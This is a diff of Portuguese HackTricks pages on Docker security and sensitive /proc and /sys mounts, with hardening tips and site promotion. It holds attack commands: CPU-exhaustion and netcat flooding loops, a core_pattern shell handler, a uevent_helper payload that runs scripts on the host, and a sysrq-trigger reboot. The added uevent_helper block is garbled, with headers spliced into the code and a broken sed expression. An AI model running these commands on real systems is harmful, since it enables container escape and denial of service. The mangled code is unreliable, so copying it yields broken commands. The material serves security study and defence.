* namespace de rede
|
||||
* namespace network
|
||||
* namespace ipc
|
||||
* namespace UTS
|
||||
|
||||
Para **mais informações sobre os namespaces**, consulte a seguinte página:
|
||||
Para **mais informações sobre os namespaces** confira a seguinte página:
|
||||
|
||||
{% content-ref url="namespaces/" %}
|
||||
[namespaces](namespaces/)
|
||||
|
@ -177,8 +181,8 @@ Para **mais informações sobre os namespaces**, consulte a seguinte página:
|
|||
|
||||
### cgroups
|
||||
|
||||
O recurso do kernel Linux **cgroups** fornece a capacidade de **restringir recursos como cpu, memória, io, largura de banda de rede entre** um conjunto de processos. O Docker permite criar Contêineres usando o recurso cgroup que permite o controle de recursos para o Contêiner específico.\
|
||||
A seguir está um Contêiner criado com a memória do espaço do usuário limitada a 500m, memória do kernel limitada a 50m, compartilhamento de cpu para 512, blkioweight para 400. O compartilhamento de CPU é uma proporção que controla o uso de CPU do Contêiner. Tem um valor padrão de 1024 e varia entre 0 e 1024. Se três Contêineres tiverem o mesmo compartilhamento de CPU de 1024, cada Contêiner pode usar até 33% da CPU em caso de contenção de recursos de CPU. blkio-weight é uma proporção que controla o IO do Contêiner. Tem um valor padrão de 500 e varia entre 10 e 1000.
|
||||
O recurso do kernel Linux **cgroups** fornece a capacidade de **restringir recursos como cpu, memória, io, largura de banda de rede entre** um conjunto de processos. O Docker permite criar Containers usando o recurso cgroup que permite o controle de recursos para o Container específico.\
|
||||
A seguir está um Container criado com a memória do espaço do usuário limitada a 500m, memória do kernel limitada a 50m, compartilhamento de cpu para 512, blkioweight para 400. O compartilhamento de CPU é uma proporção que controla o uso de CPU do Container. Tem um valor padrão de 1024 e varia entre 0 e 1024. Se três Containers têm o mesmo compartilhamento de CPU de 1024, cada Container pode usar até 33% da CPU em caso de contenção de recursos de CPU. blkio-weight é uma proporção que controla o IO do Container. Tem um valor padrão de 500 e varia entre 10 e 1000.
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
|
@ -214,7 +218,7 @@ Este é um recurso de segurança que permite ao Docker **limitar as chamadas de
|
|||
|
||||
### AppArmor no Docker
|
||||
|
||||
**AppArmor** é um aprimoramento do kernel para confinar **contêineres** a um **conjunto limitado de recursos** com **perfis por programa**.:
|
||||
**AppArmor** é um aprimoramento do kernel para confinar **contêineres** a um **conjunto limitado** de **recursos** com **perfis por programa**.:
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
|
@ -222,13 +226,13 @@ Este é um recurso de segurança que permite ao Docker **limitar as chamadas de
|
|||
|
||||
### SELinux no Docker
|
||||
|
||||
- **Sistema de Rotulagem**: O SELinux atribui um rótulo único a cada processo e objeto do sistema de arquivos.
|
||||
- **Aplicação de Políticas**: Ele aplica políticas de segurança que definem quais ações um rótulo de processo pode executar em outros rótulos dentro do sistema.
|
||||
- **Rótulos de Processos de Contêiner**: Quando os motores de contêiner iniciam processos de contêiner, eles são normalmente atribuídos a um rótulo SELinux confinado, comumente `container_t`.
|
||||
- **Rotulagem de Arquivos dentro de Contêineres**: Arquivos dentro do contêiner geralmente são rotulados como `container_file_t`.
|
||||
- **Regras de Política**: A política SELinux garante principalmente que processos com o rótulo `container_t` só possam interagir (ler, escrever, executar) com arquivos rotulados como `container_file_t`.
|
||||
* **Sistema de Rotulagem**: O SELinux atribui um rótulo único a cada processo e objeto do sistema de arquivos.
|
||||
* **Aplicação de Políticas**: Ele aplica políticas de segurança que definem quais ações um rótulo de processo pode executar em outros rótulos dentro do sistema.
|
||||
* **Rótulos de Processos de Contêiner**: Quando os motores de contêiner iniciam processos de contêiner, eles são normalmente atribuídos a um rótulo SELinux confinado, comumente `container_t`.
|
||||
* **Rotulagem de Arquivos dentro de Contêineres**: Arquivos dentro do contêiner geralmente são rotulados como `container_file_t`.
|
||||
* **Regras de Política**: A política SELinux garante principalmente que processos com o rótulo `container_t` só possam interagir (ler, escrever, executar) com arquivos rotulados como `container_file_t`.
|
||||
|
||||
Esse mecanismo garante que mesmo que um processo dentro de um contêiner seja comprometido, ele está confinado a interagir apenas com objetos que possuem os rótulos correspondentes, limitando significativamente os danos potenciais desses comprometimentos.
|
||||
Esse mecanismo garante que mesmo que um processo dentro de um contêiner seja comprometido, ele está confinado a interagir apenas com objetos que possuem os rótulos correspondentes, limitando significativamente o potencial de danos desses comprometimentos.
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
|
@ -238,8 +242,8 @@ Esse mecanismo garante que mesmo que um processo dentro de um contêiner seja co
|
|||
|
||||
No Docker, um plugin de autorização desempenha um papel crucial na segurança ao decidir se permite ou bloqueia solicitações ao daemon do Docker. Essa decisão é tomada examinando dois contextos-chave:
|
||||
|
||||
- **Contexto de Autenticação**: Isso inclui informações abrangentes sobre o usuário, como quem são e como se autenticaram.
|
||||
- **Contexto de Comando**: Isso compreende todos os dados pertinentes relacionados à solicitação sendo feita.
|
||||
* **Contexto de Autenticação**: Isso inclui informações abrangentes sobre o usuário, como quem são e como se autenticaram.
|
||||
* **Contexto de Comando**: Isso compreende todos os dados pertinentes relacionados à solicitação sendo feita.
|
||||
|
||||
Esses contextos ajudam a garantir que apenas solicitações legítimas de usuários autenticados sejam processadas, aprimorando a segurança das operações do Docker.
|
||||
|
||||
|
@ -263,7 +267,7 @@ docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :;
|
|||
```bash
|
||||
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
|
||||
```
|
||||
## Flags Docker Interessantes
|
||||
## Flags Interessantes do Docker
|
||||
|
||||
### --privileged flag
|
||||
|
||||
|
@ -351,11 +355,11 @@ Em ambientes Kubernetes, os segredos são suportados nativamente e podem ser ger
|
|||
|
||||
### Dicas Resumidas
|
||||
|
||||
* **Não use a flag `--privileged` ou monte um** [**socket do Docker dentro do contêiner**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** O socket do Docker permite a criação de contêineres, sendo uma maneira fácil de obter controle total do host, por exemplo, executando outro contêiner com a flag `--privileged`.
|
||||
* Não execute como root dentro do contêiner. Use um [**usuário diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) e [**espaços de nomes de usuário**](https://docs.docker.com/engine/security/userns-remap/). O root no contêiner é o mesmo do host, a menos que seja remapeado com espaços de nomes de usuário. Ele é apenas levemente restrito, principalmente, por espaços de nomes do Linux, capacidades e cgroups.
|
||||
* [**Revogue todas as capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e habilite apenas as necessárias** (`--cap-add=...`). Muitas cargas de trabalho não precisam de capacidades e adicioná-las aumenta o escopo de um possível ataque.
|
||||
* [**Use a opção de segurança “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que processos obtenham mais privilégios, por exemplo, por meio de binários suid.
|
||||
* [**Limite os recursos disponíveis para o contêiner**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Limites de recursos podem proteger a máquina de ataques de negação de serviço.
|
||||
* **Não use a flag `--privileged` ou monte um** [**socket do Docker dentro do contêiner**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** O socket do Docker permite a criação de contêineres, sendo uma maneira fácil de assumir o controle total do host, por exemplo, executando outro contêiner com a flag `--privileged`.
|
||||
* Não execute como root dentro do contêiner. Use um [**usuário diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) e [**espaços de nomes de usuário**](https://docs.docker.com/engine/security/userns-remap/). O root no contêiner é o mesmo que no host, a menos que seja remapeado com espaços de nomes de usuário. Ele é apenas levemente restrito, principalmente, por espaços de nomes do Linux, capacidades e cgroups.
|
||||
* [**Revogue todas as capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e habilite apenas as necessárias** (`--cap-add=...`). Muitas cargas de trabalho não precisam de nenhuma capacidade e adicioná-las aumenta o escopo de um possível ataque.
|
||||
* [**Use a opção de segurança “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que processos obtenham mais privilégios, por exemplo, através de binários suid.
|
||||
* [**Limite os recursos disponíveis para o contêiner**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Os limites de recursos podem proteger a máquina de ataques de negação de serviço.
|
||||
* **Ajuste os perfis de** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** para restringir as ações e chamadas de sistema disponíveis para o contêiner ao mínimo necessário.
|
||||
* **Use** [**imagens oficiais do Docker**](https://docs.docker.com/docker-hub/official_images/) **e exija assinaturas** ou construa suas próprias com base nelas. Não herde ou use imagens [comprometidas](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Armazene também chaves raiz, frases secretas em um local seguro. O Docker tem planos para gerenciar chaves com UCP.
|
||||
* **Reconstrua regularmente** suas imagens para **aplicar patches de segurança ao host e imagens**.
|
||||
|
@ -363,7 +367,7 @@ Em ambientes Kubernetes, os segredos são suportados nativamente e podem ser ger
|
|||
* Se **expor o daemon do Docker, use HTTPS** com autenticação de cliente e servidor.
|
||||
* Em seu Dockerfile, **prefira COPY em vez de ADD**. ADD extrai automaticamente arquivos compactados e pode copiar arquivos de URLs. COPY não possui essas capacidades. Sempre que possível, evite usar ADD para não ficar suscetível a ataques por meio de URLs remotos e arquivos Zip.
|
||||
* Tenha **contêineres separados para cada microsserviço**.
|
||||
* **Não coloque ssh** dentro do contêiner, o “docker exec” pode ser usado para ssh no contêiner.
|
||||
* **Não coloque ssh** dentro do contêiner, o “docker exec” pode ser usado para ssh no Contêiner.
|
||||
* Tenha **imagens de contêiner menores**
|
||||
|
||||
## Fuga / Escalação de Privilégios do Docker
|
||||
|
@ -376,13 +380,13 @@ Se você está **dentro de um contêiner do Docker** ou tem acesso a um usuário
|
|||
|
||||
## Bypass de Plugin de Autenticação do Docker
|
||||
|
||||
Se você tem acesso ao socket do Docker ou a um usuário no **grupo docker, mas suas ações estão sendo limitadas por um plugin de autenticação do docker**, verifique se você pode **burlá-lo**:
|
||||
Se você tem acesso ao socket do Docker ou tem acesso a um usuário no **grupo docker, mas suas ações estão sendo limitadas por um plugin de autenticação do docker**, verifique se você pode **burlá-lo:**
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Reforço do Docker
|
||||
## Reforçando o Docker
|
||||
|
||||
* A ferramenta [**docker-bench-security**](https://github.com/docker/docker-bench-security) é um script que verifica dezenas de práticas recomendadas comuns ao implantar contêineres Docker em produção. Os testes são todos automatizados e baseados no [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Você precisa executar a ferramenta no host que executa o Docker ou em um contêiner com privilégios suficientes. Saiba **como executá-lo no README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
@ -399,7 +403,7 @@ Você precisa executar a ferramenta no host que executa o Docker ou em um contê
|
|||
* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces)
|
||||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
* [https://docs.docker.com/engine/extend/plugins_authorization](https://docs.docker.com/engine/extend/plugins_authorization)
|
||||
* [https://docs.docker.com/engine/extend/plugins\_authorization](https://docs.docker.com/engine/extend/plugins\_authorization)
|
||||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
|
@ -413,14 +417,13 @@ Tenha Acesso Hoje:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
- Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do Github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,167 +1,197 @@
|
|||
# Montagens Sensíveis
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
A exposição de `/proc` e `/sys` sem isolamento adequado de namespace introduz riscos significativos de segurança, incluindo aumento da superfície de ataque e divulgação de informações. Esses diretórios contêm arquivos sensíveis que, se mal configurados ou acessados por um usuário não autorizado, podem levar à fuga do contêiner, modificação do host ou fornecer informações que auxiliam em ataques adicionais. Por exemplo, montar incorretamente `-v /proc:/host/proc` pode contornar a proteção do AppArmor devido à sua natureza baseada em caminho, deixando `/host/proc` desprotegido.
|
||||
|
||||
**Você pode encontrar mais detalhes de cada vulnerabilidade potencial em [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts).**
|
||||
**Você pode encontrar mais detalhes de cada vulnerabilidade potencial em** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
# Vulnerabilidades do procfs
|
||||
## Vulnerabilidades do procfs
|
||||
|
||||
### `/proc/sys`
|
||||
|
||||
## `/proc/sys`
|
||||
Este diretório permite acesso para modificar variáveis do kernel, geralmente via `sysctl(2)`, e contém vários subdiretórios de preocupação:
|
||||
|
||||
### **`/proc/sys/kernel/core_pattern`**
|
||||
- Descrito em [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
- Permite definir um programa para executar na geração de arquivos de núcleo com os primeiros 128 bytes como argumentos. Isso pode levar à execução de código se o arquivo começar com um pipe `|`.
|
||||
- **Exemplo de Teste e Exploração**:
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
* Descrito em [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
* Permite definir um programa para executar na geração de arquivos de core com os primeiros 128 bytes como argumentos. Isso pode levar à execução de código se o arquivo começar com um pipe `|`.
|
||||
* **Exemplo de Teste e Exploração**:
|
||||
|
||||
```bash
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Testar acesso de escrita
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Testa acesso de escrita
|
||||
cd /proc/sys/kernel
|
||||
echo "|$overlay/shell.sh" > core_pattern # Definir manipulador personalizado
|
||||
sleep 5 && ./crash & # Acionar manipulador
|
||||
echo "|$overlay/shell.sh" > core_pattern # Define manipulador personalizado
|
||||
sleep 5 && ./crash & # Aciona o manipulador
|
||||
```
|
||||
|
||||
### **`/proc/sys/kernel/modprobe`**
|
||||
- Detalhado em [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Contém o caminho para o carregador de módulos do kernel, invocado para carregar módulos do kernel.
|
||||
- **Exemplo de Verificação de Acesso**:
|
||||
#### **`/proc/sys/kernel/modprobe`**
|
||||
|
||||
* Detalhado em [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Contém o caminho para o carregador de módulos do kernel, invocado para carregar módulos do kernel.
|
||||
* **Exemplo de Verificação de Acesso**:
|
||||
|
||||
```bash
|
||||
ls -l $(cat /proc/sys/kernel/modprobe) # Verificar acesso ao modprobe
|
||||
ls -l $(cat /proc/sys/kernel/modprobe) # Verifica acesso ao modprobe
|
||||
```
|
||||
|
||||
### **`/proc/sys/vm/panic_on_oom`**
|
||||
- Referenciado em [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Uma flag global que controla se o kernel entra em pânico ou invoca o OOM killer quando ocorre uma condição de OOM.
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
### **`/proc/sys/fs`**
|
||||
- Conforme [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contém opções e informações sobre o sistema de arquivos.
|
||||
- O acesso de escrita pode permitir vários ataques de negação de serviço contra o host.
|
||||
* Referenciado em [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Uma flag global que controla se o kernel entra em pânico ou invoca o OOM killer quando ocorre uma condição de OOM.
|
||||
|
||||
### **`/proc/sys/fs/binfmt_misc`**
|
||||
- Permite registrar interpretadores para formatos binários não nativos com base em seus números mágicos.
|
||||
- Pode levar à escalada de privilégios ou acesso ao shell root se `/proc/sys/fs/binfmt_misc/register` for gravável.
|
||||
- Exploração relevante e explicação:
|
||||
- [Rootkit de homem pobre via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Tutorial detalhado: [Link do vídeo](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
## Outros em `/proc`
|
||||
* Conforme [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contém opções e informações sobre o sistema de arquivos.
|
||||
* O acesso de escrita pode permitir vários ataques de negação de serviço contra o host.
|
||||
|
||||
### **`/proc/config.gz`**
|
||||
- Pode revelar a configuração do kernel se `CONFIG_IKCONFIG_PROC` estiver habilitado.
|
||||
- Útil para atacantes identificarem vulnerabilidades no kernel em execução.
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
* Permite registrar interpretadores para formatos binários não nativos com base em seus números mágicos.
|
||||
* Pode levar à escalada de privilégios ou acesso ao shell root se `/proc/sys/fs/binfmt_misc/register` for gravável.
|
||||
* Exploração relevante e explicação:
|
||||
* [Rootkit de homem pobre via binfmt\_misc](https://github.com/toffan/binfmt\_misc)
|
||||
* Tutorial detalhado: [Link do vídeo](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Outros em `/proc`
|
||||
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
* Pode revelar a configuração do kernel se `CONFIG_IKCONFIG_PROC` estiver habilitado.
|
||||
* Útil para atacantes identificarem vulnerabilidades no kernel em execução.
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
* Permite invocar comandos Sysrq, potencialmente causando reinicializações imediatas do sistema ou outras ações críticas.
|
||||
* **Exemplo de Reinicialização do Host**:
|
||||
|
||||
### **`/proc/sysrq-trigger`**
|
||||
- Permite invocar comandos Sysrq, potencialmente causando reinicializações imediatas do sistema ou outras ações críticas.
|
||||
- **Exemplo de Reinicialização do Host**:
|
||||
```bash
|
||||
echo b > /proc/sysrq-trigger # Reinicia o host
|
||||
```
|
||||
|
||||
### **`/proc/kmsg`**
|
||||
- Expõe mensagens do buffer de anel do kernel.
|
||||
- Pode auxiliar em exploits do kernel, vazamentos de endereços e fornecer informações sensíveis do sistema.
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
### **`/proc/kallsyms`**
|
||||
- Lista símbolos exportados do kernel e seus endereços.
|
||||
- Essencial para o desenvolvimento de exploits do kernel, especialmente para superar o KASLR.
|
||||
- As informações de endereço são restritas com `kptr_restrict` definido como `1` ou `2`.
|
||||
- Detalhes em [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Expõe mensagens do buffer de anel do kernel.
|
||||
* Pode auxiliar em exploits do kernel, vazamentos de endereços e fornecer informações sensíveis do sistema.
|
||||
|
||||
### **`/proc/[pid]/mem`**
|
||||
- Interface com o dispositivo de memória do kernel `/dev/mem`.
|
||||
- Historicamente vulnerável a ataques de escalonamento de privilégios.
|
||||
- Mais em [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
### **`/proc/kcore`**
|
||||
- Representa a memória física do sistema no formato de núcleo ELF.
|
||||
- A leitura pode vazar conteúdos de memória do host e de outros contêineres.
|
||||
- O tamanho do arquivo grande pode levar a problemas de leitura ou falhas de software.
|
||||
- Uso detalhado em [Despejando /proc/kcore em 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
|
||||
* Lista símbolos exportados do kernel e seus endereços.
|
||||
* Essencial para o desenvolvimento de exploits do kernel, especialmente para superar o KASLR.
|
||||
* As informações de endereço são restritas com `kptr_restrict` definido como `1` ou `2`.
|
||||
* Detalhes em [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
### **`/proc/kmem`**
|
||||
- Interface alternativa para `/dev/kmem`, representando a memória virtual do kernel.
|
||||
- Permite leitura e escrita, portanto, modificação direta da memória do kernel.
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
### **`/proc/mem`**
|
||||
- Interface alternativa para `/dev/mem`, representando a memória física.
|
||||
- Permite leitura e escrita, a modificação de toda a memória requer a resolução de endereços virtuais para físicos.
|
||||
* Interface com o dispositivo de memória do kernel `/dev/mem`.
|
||||
* Historicamente vulnerável a ataques de escalada de privilégios.
|
||||
* Mais em [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
### **`/proc/sched_debug`**
|
||||
- Retorna informações de agendamento de processos, contornando as proteções do namespace PID.
|
||||
- Expõe nomes de processos, IDs e identificadores de cgroup.
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
### **`/proc/[pid]/mountinfo`**
|
||||
- Fornece informações sobre pontos de montagem no namespace de montagem do processo.
|
||||
- Expõe a localização do `rootfs` do contêiner ou da imagem.
|
||||
* Representa a memória física do sistema no formato de core ELF.
|
||||
* A leitura pode vazar conteúdos de memória do host e de outros contêineres.
|
||||
* O tamanho grande do arquivo pode levar a problemas de leitura ou falhas de software.
|
||||
* Uso detalhado em [Despejando /proc/kcore em 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
|
||||
|
||||
## Vulnerabilidades do `/sys`
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
* Interface alternativa para `/dev/kmem`, representando a memória virtual do kernel.
|
||||
* Permite leitura e escrita, portanto, modificação direta da memória do kernel.
|
||||
|
||||
#### **`/proc/mem`**
|
||||
|
||||
* Interface alternativa para `/dev/mem`, representando a memória física.
|
||||
* Permite leitura e escrita, a modificação de toda a memória requer a resolução de endereços virtuais para físicos.
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
* Retorna informações de agendamento de processos, contornando as proteções do namespace PID.
|
||||
* Expõe nomes de processos, IDs e identificadores de cgroups.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
* Fornece informações sobre pontos de montagem no namespace de montagem do processo.
|
||||
* Expõe a localização do `rootfs` ou imagem do contêiner.
|
||||
|
||||
### Vulnerabilidades do `/sys`
|
||||
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
* Usado para lidar com `uevents` de dispositivos do kernel.
|
||||
* Escrever em `/sys/kernel/uevent_helper` pode executar scripts arbitrários ao acionar `uevents`.
|
||||
* **Exemplo de Exploração**: %%%bash
|
||||
|
||||
## Cria uma carga útil
|
||||
|
||||
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
||||
|
||||
## Encontra o caminho do host a partir da montagem OverlayFS para o contêiner
|
||||
|
||||
host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
|
||||
|
||||
## Define uevent\_helper para o helper malicioso
|
||||
|
||||
echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
|
||||
|
||||
## Aciona um uevent
|
||||
|
||||
### **`/sys/kernel/uevent_helper`**
|
||||
- Usado para lidar com `uevents` de dispositivos do kernel.
|
||||
- Escrever em `/sys/kernel/uevent_helper` pode executar scripts arbitrários ao acionar `uevents`.
|
||||
- **Exemplo de Exploração**:
|
||||
%%%bash
|
||||
# Cria um payload
|
||||
echo "#!/bin/sh" > /evil-helper
|
||||
echo "ps > /output" >> /evil-helper
|
||||
chmod +x /evil-helper
|
||||
# Encontra o caminho do host a partir da montagem do OverlayFS para o contêiner
|
||||
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
|
||||
# Define uevent_helper para o helper malicioso
|
||||
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
|
||||
# Aciona um uevent
|
||||
echo change > /sys/class/mem/null/uevent
|
||||
# Lê a saída
|
||||
cat /output
|
||||
%%%
|
||||
|
||||
### **`/sys/class/thermal`**
|
||||
- Controla configurações de temperatura, potencialmente causando ataques de DoS ou danos físicos.
|
||||
## Lê a saída
|
||||
|
||||
### **`/sys/kernel/vmcoreinfo`**
|
||||
- Vaza endereços do kernel, comprometendo potencialmente o KASLR.
|
||||
cat /output %%%
|
||||
#### **`/sys/class/thermal`**
|
||||
|
||||
### **`/sys/kernel/security`**
|
||||
- Abriga a interface `securityfs`, permitindo a configuração de Módulos de Segurança Linux como AppArmor.
|
||||
- O acesso pode permitir que um contêiner desative seu sistema MAC.
|
||||
* Controla as configurações de temperatura, potencialmente causando ataques de DoS ou danos físicos.
|
||||
|
||||
### **`/sys/firmware/efi/vars` e `/sys/firmware/efi/efivars`**
|
||||
- Expõe interfaces para interagir com variáveis EFI na NVRAM.
|
||||
- Má configuração ou exploração pode levar a laptops inutilizáveis ou máquinas host iniciais.
|
||||
#### **`/sys/kernel/vmcoreinfo`**
|
||||
|
||||
### **`/sys/kernel/debug`**
|
||||
- `debugfs` oferece uma interface de depuração "sem regras" para o kernel.
|
||||
